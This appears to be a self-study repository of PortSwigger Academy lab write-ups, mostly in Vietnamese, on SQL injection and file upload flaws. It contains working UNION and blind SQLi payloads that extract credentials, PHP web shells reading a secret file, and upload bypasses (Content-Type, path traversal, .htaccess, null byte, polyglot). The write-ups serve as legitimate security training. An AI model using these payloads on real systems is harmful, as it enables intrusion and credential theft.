PortSwigger Academy Journey

This repository documents my self-study journey through the PortSwigger Academy labs. It serves as a personal learning guide, covering various web security vulnerabilities and my solutions.

PortSwigger Lab

Covered Vulnerabilities

This repository explores the following vulnerability categories:

  • SQL Injection: Techniques for exploiting SQL injection vulnerabilities, including basic attacks, blind SQLi, and database examination.
  • Cross-Site Scripting (XSS): A deep dive into reflected and stored XSS attacks, with various contexts and bypasses.
  • File Upload Vulnerabilities: Methods for bypassing file upload restrictions to achieve Remote Code Execution (RCE).
  • OAuth 2.0 Vulnerabilities: Exploiting flawed OAuth 2.0 implementations, including hijacking, implicit flow, and redirect stealing.

SQL Injection

Đôi nét về SQL Injection (SQLi)?

SQLi là một lỗ hổng trên web mà attacker sẽ có thể tạo ra những query đến database của website đó. Lỗ hổng này sẽ làm những dữ liệu mà khó có thể xem được một cách bình thường trở nên bị leak.

Lỗ hổng này khá rộng. Nó có thể ảnh hưởng trực tiếp đến user data và cả web database nếu attack muốn (có thể thêm, xóa, sửa,...)

Nếu attacker có thể khai thác được SQLi thì có thể dẫn đến nhiều hệ lụy khôn lường. Ví dụ như dữ liệu bị lộ (tài khoản người dùng, thông tin cá nhân,...). Điều này trở nên hết sức phức tạp vì sẽ liên quan đến nhiều khía cạnh bảo mật trên môi trường Internet.

Các tác động của SQLi

Để dễ hình dung hơn, SQLi có thể khiến:

  • Làm lộ những dữ liệu mật
  • Phá vỡ logic thực thi của web app
  • Lộ những database khác (trong vùng khác vùng mà bị SQLi)
  • Lộ cấu trúc của web app
  • Và còn nhiều vấn đề khác mà attacker có thể sử dụng để khai thác web app của bạn

Labs - Danh sách các bài thực hành

1. Basic Attacks

Các kỹ thuật SQLi cơ bản

2. UNION Attacks

Các kỹ thuật SQLi UNION attack

3. Examining Database

Kỹ thuật kiểm tra và liệt kê database

4. Blind SQL Injection

Kỹ thuật Blind SQLi - Tấn công "mù"

Một số cách để nhận dạng lỗ hổng SQLi

  • Thử với ký tự ' để kiểm tra syntax error
  • Thử thay đổi cấu trúc syntax để xem phản hồi
  • Thử bằng toán tử boolean (OR 1=1, AND 1=2)
  • Trigger time delay để xác nhận blind SQLi
  • Sử dụng UNION SELECT để trích xuất dữ liệu

Tài nguyên tham khảo

SQL Injection - Basic Attacks

Hai vấn đề này được xem là những vấn đề cơ bản nhất trong tấn công SQLi.

Labs

Tổng quan

SQL Injection cơ bản tập trung vào việc khai thác các lỗ hổng đơn giản trong việc xử lý input của ứng dụng web. Hai kỹ thuật chính là:

  1. Retrieval of Hidden Data: Sử dụng SQLi để hiển thị dữ liệu ẩn bằng cách thêm điều kiện OR 1=1 vào query
  2. Login Bypass: Bypass xác thực đăng nhập bằng cách comment phần password check với --

Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data

Lab URL: PortSwigger Lab

Mô tả

Bài lab này yêu cầu ta thực hiện SQLi để show tất cả các sản phẩm ra trong khi hiển thị một category bất kỳ.

Khai thác

Payload của mình: "https://ac5b1feb1e123a53c0fc5396006d00c3.web-security-academy.net/filter?category=Clothing%2c+shoes+and+accessories%27+OR+1=1--"

Có thể hiểu rằng, server sẽ query câu lệnh kiểu:

SELECT * FROM products WHERE category = 'Clothing%2c+shoes+and+accessories' OR 1=1--

Sau "--" thì tất cả sẽ bị comment lại và không thể thực thi. Kết quả với câu query:

Solved retriving hidden data

Lab: SQL injection vulnerability allowing login bypass

Lab URL: PortSwigger Lab

Mô tả

Bài lab này yêu cầu ta thực hiện bypass một cổng đăng nhập của website. Đây là một ví dụ rất thường thấy về lỗ hổng SQLi.

Phân tích

Thông thường, ở một cổng đăng nhập, khi người dùng nhập vào 2 ô là username và password rồi click đăng nhập, server sẽ thực hiện một query đến database để xác thực thông tin đó với câu query kiểu:

SELECT * FROM users WHERE username = 'tuilanhattruong' AND password = 'nhattruonghehe'

Như vậy, dựa vào cấu trúc của câu query như vậy, ta có thể dễ dàng thêm, xóa hoặc sửa câu query để bypass được cổng này (nếu server không triển khai bảo mật SQLi)

Khai thác

Mình sẽ test thử cổng đăng nhập với administrator:1 or 1=1--. Tất nhiên là không thể login được. Mình sẽ sử dụng Burp để send request và kiểm tra payload của mình khi đăng nhập như thế nào. Sau khi kiểm tra, mình thấy được request khi login như sau:

Solved retriving hidden data

Thử cách khác, vậy tại sao ta không thử bypass bằng cách ngăn server xác thực mật khẩu bằng cách nhét "--" vào sau username. Mình sẽ type trực tiếp vào ô username luôn và password có thể điền bất cứ gì cũng được:

Bypass login

Kết quả

Solved SQLi bypass login

SQL Injection - UNION Attacks

SQLi UNION attack là phương pháp SQLi sử dụng keyword "UNION" để truy vấn đến database dựa vào một truy vấn khác. Từ đó, dẫn đến khiến website show ra những thông tin ẩn hoặc khiến database bị sai khiến bởi những truy vấn hợp lệ.

Labs

Tổng quan

UNION attack cho phép attacker:

  • Xác định số cột trong query gốc
  • Tìm cột chứa dữ liệu dạng text
  • Truy xuất dữ liệu từ các bảng khác
  • Kết hợp nhiều giá trị trong một cột

Lab: SQL injection UNION attack, determining the number of columns returned by the query

Lab URL: PortSwigger Lab

Mô tả

Bài lab yêu cầu ta xác định số cột trả về khi tiêm SQL để server trả về một hàng có giá trị null.

Khai thác

Payload: https://ac391ffa1e25ddc4c0e95d60001300d6.web-security-academy.net/filter?category=Lifestyle%27+UNION+SELECT+NULL,NULL,NULL--

Kết quả

Solved SQLi union attack with null value

Lab: SQL injection UNION attack, finding a column containing text

Lab URL: PortSwigger Lab

Mô tả

Ở lab này, mình cần phải tìm được chuỗi theo yêu cầu của lab 'BVuEQu'.

Phân tích

Với UNION Attack, ta có thể tìm một cột chứa giá trị loại "string" bằng cách thử chèn đoạn string cần tìm vào:

UNION SELECT {string_can_tim},NULL,NULL--

{string_can_tim} có thể nằm ở bất kỳ cột nào trong database, do đó hãy thử vận may của mình bạn nhé, biết đâu những từ khóa thông dụng có thể cho ta xem được hết cả database của cột cần tìm.

Khai thác

Payload: "https://ac861f221ec2cb3cc0b71c46008a00b5.web-security-academy.net/filter?category=Gifts%27+UNION+SELECT+NULL,%27BVuEQu%27,NULL--"

Kết quả

Solved SQLi finding column

Lab: SQL injection UNION attack, retrieving data from other tables

Lab URL: PortSwigger Lab

Mô tả

Trong lab này, website chứa một table với tên là "users". Việc của mình là tìm account của admin và login.

Khai thác

Sử dụng UNION SELECT với payload, ta dễ dàng retrieve được data của bảng users:

Database từ users table

Payload: "https://ac1c1fcf1ef5e8c8c0a17e340047008c.web-security-academy.net/filter?category=Accessories%27+UNION+SELECT+username,password+FROM+users--"

Kết quả

Solved SQLi finding other table

Lab: SQL injection UNION attack, retrieving multiple values in a single column

Lab URL: PortSwigger Lab

Mô tả

Website chứa một table với tên là "users". Việc của mình là tìm account của admin và login.

Phân tích

Đầu tiên, mình đã biết trước là trong bảng users đã có 2 cột là username và password. Nhưng khi mình query thông thường thì bị lỗi server. Do vậy mình cần phải tìm cách khác.

Payload dò cột lần 1

Mình thử với Payload: "Gifts' UNION SELECT NULL,username FROM users--", thì được:

Payload dò cột lần 2

Như vậy, có thể sử dụng cách này cùng với cách nối username và password lại để tìm username và password của database.

Khai thác

Exploit thành công

Mình thử với Payload: "Gifts' UNION SELECT NULL,username ||'-'|| password FROM users--

Kết quả

Solved

SQL Injection - Examining Database

Khi tấn công SQLi, chúng ta cần phải biết những thông tin cơ bản về website, database để có được những chiến lược cụ thể như cách tiếp cận, syntax,.... Những bài lab dưới đây sẽ minh họa điều này.

Labs

Tổng quan

Examining database giúp attacker:

  • Xác định loại và version của database
  • Liệt kê các bảng trong database
  • Xem cấu trúc của các bảng
  • Trích xuất dữ liệu quan trọng

Lab: SQL injection attack, querying the database type and version on Oracle

Lab URL: PortSwigger Lab

Mô tả

Lab này yêu cầu ta bắt database nói ra loại database và version của nó.

Database của lab này chính là Oracle và việc của ta là làm sao để server trả về theo yêu cầu.

Phân tích

Trong Oracle, built-in table có tên là dual, do vậy, ta có thể dò cột bằng cách gọi FROM đến bảng dual.

Dò cột bảng dual

Đến đây, với cheat sheet, ta có thể biết được các câu query mẫu để lấy thông tin database. Từ đó, dễ dàng SQLi ở challenge này.

Khai thác

Payload: "Gifts' UNION SELECT NULL,banner FROM v$version--"

Kết quả

Solved

Lab: SQL injection attack, querying the database type and version on MySQL and Microsoft

Lab URL: PortSwigger Lab

Mô tả

Lab này tương tự Lab về Oracle database ở trên nhưng lần này là với Microsoft và MySQL database.

Phân tích

Database lần này cũng gồm 2 cột sau khi thử:

Payload: "Gifts' UNION SELECT NULL,NULL#"

Tuy vậy, lúc đầu mình thử ký tự "#" thì server báo lỗi. Hên sao mình nhớ đến HTML Encoding và chuyển nó thành "%23" thì oke.

Khai thác

Payload: "Gifts' UNION SELECT NULL,@@version#"

Kết quả

Solved

Lab: SQL injection attack, listing the database contents on non-Oracle databases

Lab URL: PortSwigger Lab

Mô tả

Lab này yêu cầu ta tìm kiếm account của admin để login. Tuy vậy, ta chưa biết database loại nào mà chỉ biết nó không phải là Oracle mà thôi.

Phân tích

Đầu tiên, mình sẽ dò số cột trong database:

Dò số cột của database

Ta thấy, có 2 cột trong database này. Tiếp tục, mình sẽ dò version của database này:

Payload: "Pets' UNION SELECT NULL,version()--"

Dò version của database

Đến đây, ta đã biết nó là PostgreSQL 11.14. Ta sẽ sử dụng query SELECT null,table_name FROM information_schema.tables để show các bảng trong database này.

Show các bảng trong database

Trong các bảng, có 2 bảng có thể chứa thông tin tài khoản của các user đó chính là users_atqsuhpg_user. Mình sẽ chọn cái đầu tiên để đi sâu xem có gì trong đó, nếu không có thì quay lại thoiii :v. Trước tiên, mình sẽ cần show các cột trong bảng users_atqsuh:

Payload: "Pets' UNION SELECT null,column_name FROM information_schema.columns WHERE table_name='users_atqsuh'--"

Show chi tiết cột

Đến đây, mình đã biết được rằng thông tin tài khoản và mật khẩu sẽ được lưu vào 2 cột đó chính là username_cipszlpassword_mhklnf.

Khai thác

Giờ thì query nó ra thôi:

Query account

Kết quả

Có tài khoản xong thì login và solved:

Solved

Lab: SQL injection attack, listing the database contents on Oracle

Lab URL: PortSwigger Lab

Mô tả

Bài này thì tương tự bài non-Oracle ở trên. Do đó, mình sẽ làm tương tự.

Khai thác

Payload: "Gifts' UNION SELECT null,table_name FROM all_tables--"

Show all table

Payload: "Gifts' UNION SELECT null,column_name FROM all_tab_columns WHERE table_name='USERS_TXZJUA'--"

show-detail-table-oracle

Payload: "Gifts' UNION SELECT USERNAME_TPLFRU,PASSWORD_DHDRXQ FROM USERS_TXZJUA--"

show account

Kết quả

Và solve rồi nè:

Solved

SQL Injection - Blind SQLi

Blind SQL Injection cho phép attack có thể sử dụng những chức năng khác của SQL để trigger, tìm kiếm và suy luận từ những response từ server mà không cần dựa vào bất kỳ lỗ hổng nào khác. Do vậy, nó được gọi là Blind - "mù".

Labs

Tổng quan

Blind SQLi techniques:

  • Conditional Responses: Dựa vào sự khác biệt trong response để suy luận
  • Conditional Errors: Trigger lỗi có điều kiện để xác định thông tin
  • Time Delays: Sử dụng time delay để xác nhận query
  • Time Delays + Info Retrieval: Kết hợp time delay với brute force để trích xuất dữ liệu

Lab: Blind SQL injection with conditional responses

Lab URL: PortSwigger Lab

Mô tả

Bài lab này được thiết kế để ta attack bằng phương pháp Blind SQLi. Nó chứa một cái gọi là tracking cookie để phân tích và kiểm soát cookie người dùng. Bên cạnh đó, khi query thì không gì được trả về nếu điều kiện sai hoặc lỗi ngoại trừ khi mình query đúng thì nó sẽ trả về chuỗi "Welcome back". Bên cạnh đó, nó chứa một bảng users với 2 cột là username và password. Lab yêu cầu ta chiếm quyền kiểm soát administrator.

Phân tích

Mở Burp lên và kiểm tra request khi filter category thì mình sẽ thấy một tham số là TrackingId.

TrackingId trong request

Bây giờ, mình sẽ thử test điều kiền khi lồng toán tử vào chỗ này:

Test condition

Như vậy, có thể thấy, mình sẽ có thể Blind SQLi ở đây để dò ra thông tin cần tìm (password). Giờ thì mình sẽ thử dò thử xem có account với username là "administrator" hay không:

Dò account admin

Tada, website chứa account admin đó rồi (cái này lab cũng có đề cập nhưng mà mình kiếm thử). Giờ thì đến công đoạn tìm password. Trước tiên, mình sẽ dùng LENGTH() để kiểm tra xem password có độ dài bao nhiêu. Sau khi dò với operator >< một lúc thì mình đã xác định được LENGTH(password)=20:

Dò account admin

Khai thác

Đến đây, mình sẽ phải dò từng ký tự trong password (20 lần) để có thể ghép lại thành password cần tìm với payload:

Payload: "TrackingId=G4M7YunBTBgfypfH' AND (SELECT SUBSTRING(password,{vi-tri-do},1) FROM users WHERE username='administrator' AND LENGTH(password)=20)='{ky-tu-can-do}"

Mình đã biết rằng, khi điều kiện SQL đúng thì website sẽ trả về string "Welcome back!", do vậy, mình sẽ brute-force nó bằng Burp Intruder. Sau đây là một vài setting trước khi brute-force:

  • Chỉnh chế độ về Cluster-bomb để có thể tùy chỉnh vị trí payload brute-force
  • Thêm khóa vào vị trí cần brute-force với nút "Add $". Khóa đầu tiên mình để là vị trí trong password (1-20) và khóa thứ hai là ký tự trong password.

Setting cluster-bomb mode

  • Tạo danh sách các ký tự có thể có trong password (a-Z, 0-9) cho lần lượt 2 khóa như ảnh trên.

Payload list trước khi brute-force

  • Tạo điều kiện trả về khi tìm đúng ký tự với điều kiện là "Welcome back!"

Tạo điều kiện trả về

  • Click "Start attack" và chờ thôi

Trong khi bruteforce

Sau 2 - 3 tiếng bruteforce, mình đã có được những kết quả trả về match với "Welcome back!". Công việc giờ là sắp xếp lại thành một chuỗi theo thứ tự thôi:

Kết quả bruteforce

Chuỗi password mà mình đã sắp xếp: Password: 3n2xxm4cprzjuiim5hpi

Kết quả

Submit và solved challenge rồi nè:

Solved

Lab: Blind SQL injection with conditional errors

Lab URL: PortSwigger Lab

Mô tả

Lab này cũng khá giống với bài conditonal response. Đại khái, nếu bài lab trước ta có thể dựa vào phản hồi "Welcome back!" để suy luận ra đúng ký tự password thì ở lab này, ta sẽ phải dựa vào lỗi phản hồi để có thể suy luận. Vì vậy, mình sẽ làm nhanh hehe:

Khai thác

Xác định database:

Xác định database

Xác định độ dài password (length=20):

Xác định độ dài password

Kết quả bruteforce:

Kết quả bruteforce

Password sau khi ghép lại: i1xcr4zruhfc78onms06.

Kết quả

Và solved challenge:

Solved

Lab: Blind SQL injection with time delays

Lab URL: PortSwigger Lab

Mô tả

Trong lab này, chúng ta cần khiến cho server bị delay 10 giây. Với blind SQLi, ta có thể sử dụng time delays trong các câu query.

Phân tích

SQLi time delay cheat-sheet

Bằng bảng cheat-sheet trên, mình đã biết thử và thấy được database này là PostgreSQL. Do vậy, lab khá nhanh khi mình chỉ cần concat TrackingId với câu truy vấn bằng payload sau đây:

Khai thác

SQLi time delay cheat-sheet

Kết quả

Sau đó, kiểm tra browser và solved lab thooiiiii:

Solved

Lab: Blind SQL injection with time delays and information retrieval

Lab URL: PortSwigger Lab

Mô tả

Như tên của nó, bài lab này yêu cầu ta thực hiện blind SQLi cùng với time delays để leak tài khoản administrator từ database. Lab này đại khái là sự kết hợp của Blind SQLi conditional responses và Blind SQLi time delays. Do vậy, theo hướng đó thì làm khá nhanh khi mình chỉ cần thay đổi cách bruteforce.

Phân tích

Đầu tiên, xác định database để lựa syntax đúng:

Xác định database

Bằng cách đó, mình biết rằng database lần này là PortgreSQL.

Khai thác

Sau đó, tới công đoạn setup bruteforce. Lần này, mình không thể dùng "grep match" của Intruder vì phản hồi trả về là không có gì cả. Do vậy, mình sẽ sử dụng Resource Pool để setup thời gian timeout cho mỗi request:

Tạo resource pool

Và bắt đầu bruteforce thôi. Sau một khoản thời gian không ngắn, mình đã tìm được password: 6lunhbudoihu7km8zku1.

Kết quả

Submit và solved lab hehe:

Solved

File Upload Vulnerabilities

Lỗ hổng file upload

Lỗ hổng file upload là một loại lỗ hổng có mức độ nghiêm trọng cao. Nó xảy ra khi một web server cho phép người dùng đăng tải một tệp lên filesystem mà không qua những bước xác thực (tên, loại tệp, nội dung, kích thước,...) hoặc hệ thống bị lỗi khi xác thực.

Khi đó, attacker có thể lợi dụng lỗ hổng này để tấn công hệ thống bằng các phương pháp khác nhau, đặc biệt là RCE (Remote Code Execution), khiến hệ thống của bạn vào trạng thái nguy hiểm.

Tác động của lỗ hổng

Hai tác động chính của lỗ hổng này:

  • Hệ thống xác thực sai cách và bỏ qua những xác thực quan trọng
  • Những ràng buộc được thiết lập thực thi không đúng khi tệp đã tải lên hệ thống

Trường hợp xấu nhất là hệ thống cho phép thực thi các tệp nguy hiểm (như .php, .jsp, .aspx). Điều này cho phép attacker tải lên webshell và kiểm soát hoàn toàn server.

Các trường hợp có thể xảy ra

Trong thực tế, các công ty, tổ chức thường kiểm soát lỗ hổng này. Tuy nhiên, vẫn có thể tồn tại các trường hợp:

  • Quên xác thực các loại tệp, nội dung, kích thước
  • Tạo blacklist nhưng không xác thực extensions lạ (ví dụ: .phtml, .php5)
  • Web server không nhất quán khiến attacker có thể path traversal
  • Hệ thống bị bypass dễ dàng bằng các thủ thuật của attacker (null byte, double extension, polyglot files)

Labs - Danh sách các bài thực hành

1. Basic RCE Labs

Các lab về RCE cơ bản

2. Bypass Techniques

Các kỹ thuật bypass validation

3. Advanced Techniques

Kỹ thuật nâng cao - Race Condition

Cách phòng chống

Các best practices

  • Sử dụng whitelist thay vì blacklist cho phép extensions
  • Đảm bảo filename không chứa ký tự đặc biệt (tránh path traversal)
  • Đổi tên tệp đã tải lên để tránh conflict và bypass
  • Không cho phép tệp được thực thi trực tiếp từ upload directory
  • Validate file content, không chỉ dựa vào extension
  • Lưu trữ uploaded files ngoài webroot nếu có thể
  • Sử dụng separate domain cho user-uploaded content

Các cách tấn công khác

Ngoài RCE, file upload còn có thể bị khai thác để:

  • Stored XSS: Upload file HTML/SVG chứa JavaScript
  • XXE Injection: Upload file XML chứa external entity
  • DoS: Upload file quá lớn
  • Path Traversal: Overwrite file hệ thống

Tài nguyên tham khảo

File Upload - Basic RCE Techniques

Remote Code Execution (RCE) qua File Upload

Các labs trong phần này tập trung vào các kỹ thuật cơ bản để khai thác RCE thông qua lỗ hổng file upload.

Giới thiệu

RCE (Remote Code Execution) là một trong những lỗ hổng nguy hiểm nhất trong bảo mật web. Khi kết hợp với file upload vulnerabilities, attacker có thể:

  • Upload web shell lên server
  • Thực thi code tùy ý
  • Đọc file nhạy cảm
  • Chiếm quyền kiểm soát server

Labs

Remote code execution via web shell upload

Lab cơ bản nhất về file upload RCE - server không có bất kỳ validation nào.

Web shell upload via Content-Type restriction bypass

Bypass validation Content-Type để upload web shell lên server.

Web shell upload via path traversal

Sử dụng path traversal để upload file vào thư mục có thể thực thi code.

Lab: Remote code execution via web shell upload

Link: https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

Lab RCE basic

Mục tiêu

Bài lab này yêu cầu mình tải lên một đoạn code RCE để có thể kiểm soát web server hay khai thác tải lên tệp không hạn chế để triển khai web shell

Giải pháp

Đầu tiên, bật Burp Suite và sử dụng browser của ứng dụng để truy cập vào Lab và thực hiện login bằng tài khoản đã được cung cấp. Vì đây là bài lab liên quan đến upload file nên mình sẽ mò qua phần My Account để sử dụng chức năng tải Avatar lên hệ thống.

Tải avatar lên hệ thống

Sau khi tải thử cái ảnh xàm xí lên hệ thống thì mình nhận được cái thông báo như vầy

Sau khi tải avatar lên hệ thống

Đến đây thì chưa có bất kỳ "clue" nào để mình tiếp tục cả, mò qua HTTP History của chức năng Proxy trong Burp Suite thì ta có thể thấy được các URL mà hệ thống đã thực thi

HTTP History

Như vậy, ta có thể thấy được hệ thống cho phép ta tải lên hình ảnh. Hình ảnh này sẽ được lưu trữ tại /files/avatars/{tên-tệp}

Khai thác

Theo như đề bài, secret được cất giữ tại /home/carlos/secret và web server sử dụng ngôn ngữ PHP. Do đó, mình sẽ sử dụng một RCE payload code để có thể "reveal" bí mật của chú Carlos và lưu lại với cái tên mỹ miều là 1.php =)))

<?php echo file_get_contents('/home/carlos/secret'); ?>

Sau đó, ta tiến hành tải tệp này lên hệ thống:

Tải RCE lên hệ thống

Và cũng nhận được thông báo là tệp chứa RCE đã tải lên thành công:

Tải RCE lên hệ thống

Thử truy cập vào nơi cất giữ các hình ảnh avatar của hệ thống thì ta được hệ thống trả về một string có vẻ như là bí mật của chú Carlos:

Tải RCE lên hệ thống

Submit bài lab với string vừa tiềm được thì ta đã thành công thực hiện upload một RCE code lên hệ thống PHP khi web server không xác thực "loại tệp" mà người dùng tải lên hệ thống:

Tải RCE lên hệ thống

Lab: Web shell upload via Content-Type restriction bypass

Link: https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-content-type-restriction-bypass

Lab Content-Type restriction-bypass

Giới thiệu

Với website, khi ta gửi một HTML form lên hệ thống, trình duyệt sẽ gửi đi một yêu cầu POST trong đó chức các thông tin của yêu cầu đó. Thông thường, các trình duyệt gửi đi các yêu cầu với thuộc tính Content-Type là application/x-www-form-url-encoded.

Đối với các hệ thống khác nhau, Content-Type được sử dụng các giá trị khác nhau để phù hợp nhất. Bài lab này sẽ yêu cầu ta thực hiện khai thác đánh lừa hệ thống để gửi lên web server một RCE code.

Phân tích

Tương tự như bài lab ở trên, ta thực hiện login vào hệ thống và thử "test" hệ thống bằng cách tải lên tệp 1.php mà mình đã sử dụng ở lab trước thì nhận được thông báo:

Thử tải RCE code

Như vậy, hệ thống không cho phép ta tải lên các thể loại tệp thuộc về application/octet-stream mà chỉ cho tải lên tệp loại image/jpeg hoặc image/png

Khai thác

Đến đây, ta sử dụng Burp Repeater để thử đổi Content-Type sang yêu cầu của Lab và gửi lên web server. Mình sẽ sử dụng request bị dính lỗi khi thử upload 1.php lên hệ thống và đổi lại Content-Type thôi:

Thử tải RCE code

Ta thấy, file 1.php đã được tải lên hệ thống. Bây giờ, ta cần GET tệp này bằng path như ở lab bên trên:

Thử tải RCE code

Đến đây, ta đã có được secret của chủ Carlos thân yêu và submit thôi:

Thử tải RCE code

Kết quả là chúng ta đã thực hiện khai thác lỗ hổng file upload bằng cách đánh lừa hệ thống khi nó quên xác thực Content-Type của tệp:

Thử tải RCE code

Lab: Web shell upload via path traversal

Link: https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-path-traversal

Lab RCE Path Traversal

Giới thiệu

Một trong những cách các website đối phó với lỗ hổng upload file đó chính là chỉ cho phép server thực thi các tệp được cho phép. Nếu các extension của file không nằm trong cấu hình của server, server có thể trả về các thông báo lỗi hoặc nội dung với Content-Type: text/plain.

Điều này vô hình chung có thể dẫn đến attacker lợi dụng để soi source code từ server hoặc các tệp riêng tư của server.

Trong bài lab này, tác giả yêu cầu ta thực hiện upload một RCE code lên server và lợi dụng path traversal để có thể leak được secret của chú Carlos

Phân tích

Tương tự các phần bên trên, trước tiên, ta thử upload đoạn payload của tệp 1.php lên hệ thống:

Thử upload RCE webshell

Ta có thể thấy, server cho phép ta tải tệp lên dù cho nó là .php (có thể thực thi). Nhưng ở lab này, các file này không thể thực thi trong folder của user (một cách ngăn chặn khai thác lỗ hổng upload file) và server trả về nội dung của file ta upload dưới dạng Content-Type: text/plain như nãy mình có đề cập.

Khai thác

Từ đó, ta có thể sử dụng kỹ thuật directory traversal để kiểm tra xem các folder khác (folder con hoặc folder cha) có cho phép thực thi hay không (thường thì server sẽ block user thôi hehe). Ở đây, mình sẽ sửa đổi request POST ban nãy mình upload file 1.php lên ở chỗ Content-Disposition từ filename="1.php" thành filename="../1.php":

Thử directory traversal

Ohno, có vẻ như không thể upload ra một folder khác bằng cách sử dụng ../. Ta thử một cách khác đó chính là sử dụng URL encoding đổi "../" thành "..%2f":

Bypassed

Như vậy, ta đã upload thành công file 1.php lên một thư mục khác với folder của user. Dùng Burp Suite để request đến /files/avatars/1.php để xem bí mật của chú Carlos thôi:

Bí mật của chú Carlos

Và submit để hoàn thành bài lab này

Submit

File Upload - Bypass Techniques

Kỹ thuật bypass validation trong file upload

Các labs trong phần này tập trung vào việc bypass các cơ chế validation khác nhau.

Giới thiệu

Các hệ thống thường triển khai nhiều lớp bảo vệ để ngăn chặn file upload attacks:

  • Blacklist các extension nguy hiểm
  • Kiểm tra file signature/magic bytes
  • Validate file content

Tuy nhiên, nếu không được implement cẩn thận, các cơ chế này đều có thể bị bypass.

Labs

Web shell upload via extension blacklist bypass

Bypass blacklist extension bằng cách upload file .htaccess để thêm extension mới.

Web shell upload via obfuscated file extension

Sử dụng null byte (%00) để bypass validation extension.

Remote code execution via polyglot web shell upload

Tạo polyglot file - vừa là image hợp lệ vừa chứa PHP code để bypass file signature validation.

Lab: Web shell upload via extension blacklist bypass

Link: https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-extension-blacklist-bypass

Lab blacklist bypass

Giới thiệu

Trong các phần trên, mình đã có đề cập đến việc sử dụng blacklist để block các loại tệp nguy hiểm. Tuy vậy, các web server vẫn có thể mắc phải các lỗi như cấu hình thiếu chặt chẽ, quản lý file hời hợt khiến attacker có thể dễ dàng "ghi đè" lên tệp cấu hình của server hoặc bypass được blacklist.

Với Apache, server có thể thực thi một tệp PHP theo request và ông dev ổng có thể thêm những cấu hình như cho phép load module nào hoặc thêm các file extension nào lên tệp config (apache2.conf). Bên cạnh đó, nhiều server còn cho phép ông dev upload ghi đè tệp hoặc thêm content vào tệp config. Ví dụ như trong Apache server, nó cho phép load lên một tệp cấu hình cụ thể cho server nếu như trên apache server tồn tại tệp .htaccess.

Trong bài lab này, tác giả yêu cầu ta thực hiện bypass blacklist extension.

Phân tích

Đầu tiên, mình sẽ thử POST file 1.php lên server:

Thử gửi 1.php lên server

Kết quả trả về Burp Suite cho thấy, server sử dụng Apache2 và file của mình không lên upload lên vì server chặn tệp .php.

Khai thác

Như mình có đề cập, các dev có thể linh hoạt thêm vào tệp config (đối với Apache server) các loại tệp sẽ được "cho phép" thực thi trên server. Trong htaccess, mấy ông dev chỉ cần thêm dòng AddType application/x-httpd-php {.extension_cần_thêm}, server sẽ tự override nó vào /etc/apache2/apache2.conf. Lợi dụng điều này, ta sẽ sử dụng Burp Repeater để gửi đi 1 POST mới và gắn cái dòng AddType ở bên trên vào filename .htaccess:

Thêm .nh4ttruong extension cho file

Ta đã thành công gửi file .htaccess lên server. Trong request đó, bạn có thể thấy mình đã gửi request POST và thêm extension mới là .nh4ttruong vào .htaccess (tệp config). Bây giờ, ta thử POST 1 request mới lên server với extension mới:

Gửi RCE code webshell

Thành công rồi hehe, file đã lên được server, việc của ta bậy giờ là GET lại file đó thể thực thi nó:

GET bí mật của chú Carlos

Và submit bí mật của chú ấy thôi:

Submit

Lab: Web shell upload via obfuscated file extension

Link: https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-obfuscated-file-extension

Giới thiệu

Ở bài lab này, tác giả sẽ yêu cầu ta bypass blacklist các extension của file.

Phân tích

Thử upload 1.php như các lab khác lên server:

Thử upload RCE

Thông báo trả về là ta chỉ có thể upload các extension về hình ảnh (JPG/PNG). Một trong 7749 cách bypass blacklist tiếp theo mình có thể sử dụng đó chính là bypass extension của file với việc sử dụng các trường hợp case sensitive để đánh lừa bộ xác thực của website.

Khai thác

Ký tự NULL hay %00 là một trong những ký tự đặc biệt sẽ có thể khiến bộ xác thực hiểu rằng sau nó không còn gì cả và ta thử bằng cách chèn nó vào như sau:

Chèn ký tự NULL

Như đã thấy, file 1.php đã upload thành công lên server. Và tương tự như các lab trên, GET bí mật và submit thôi

GET bí mật của chú Carlos

Submit

Lab: Remote code execution via polyglot web shell upload

Link: https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-polyglot-web-shell-upload

Lab

Giới thiệu

Để tăng mức độ bảo mật cho hệ thống, các server thay vì xác thực Content-Type thì nó sẽ xác thực nội dung của file. Ví dụ, các file hình ảnh JPEG luôn bắt đầu bằng chuỗi bytes FF D8 FF.

Bài lab này sẽ thử thách ta bypass mà không thể thay đổi extension của file.

Phân tích

Thử upload 1.php lên server và kết quả trả về:

Thử upload 1.php

Ta có thể tải bất kỳ tệp nào lên server nhưng phải thỏa mãn nó là hình ảnh (PNG/JPG) vì nó là avatar mà. Server sẽ xác thực signature của file như ví dụ mình nêu trên. Do đó, ta sẽ sử dụng trick để "ép" 1 file chứa RCE code thành 1 file thỏa điều kiện của server.

Khai thác

exiftool là một trong những công cụ tối ưu hỗ trợ việc thay đổi metadata của file. Ta sẽ sử dụng nó để thay đổi "dấu hiệu" trong file để làm server nghĩ rằng đó là một file hình ảnh và ta sẽ thêm -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" vào file exploit.php mà exiftool sẽ tạo ra:

Sử dụng exiftool

Upload exploit.php lên server:

Upload exploit.php lên server

Server không chặn việc ta tải lên nữa rồi =)))). GET bí mật bằng cách cho nó thực thi thôi:

Lab

Và submit bí mật:

Submit

File Upload - Advanced Techniques

Race Condition trong File Upload

Lab trong phần này tập trung vào kỹ thuật advanced - Race Condition.

Giới thiệu

Race Condition trong file upload xảy ra khi:

  1. File được upload lên server và lưu tạm
  2. Server validate file
  3. Nếu file nguy hiểm, server xóa file

Nếu attacker có thể thực thi file trong khoảng thời gian giữa bước 1 và 3 (trước khi bị xóa), RCE có thể đạt được.

Kỹ thuật

Để khai thác race condition:

  • Upload file với extension hợp lệ (ví dụ: .php.png)
  • Gửi nhiều request GET đến file đó cùng lúc
  • Hy vọng một request GET sẽ thực thi trước khi server xóa file

Lab

Web shell upload via race condition

Sử dụng Turbo Intruder để khai thác race condition và thực thi web shell trước khi bị xóa.

Lab: Web shell upload via race condition

Link: https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-race-condition

Lab

Giới thiệu

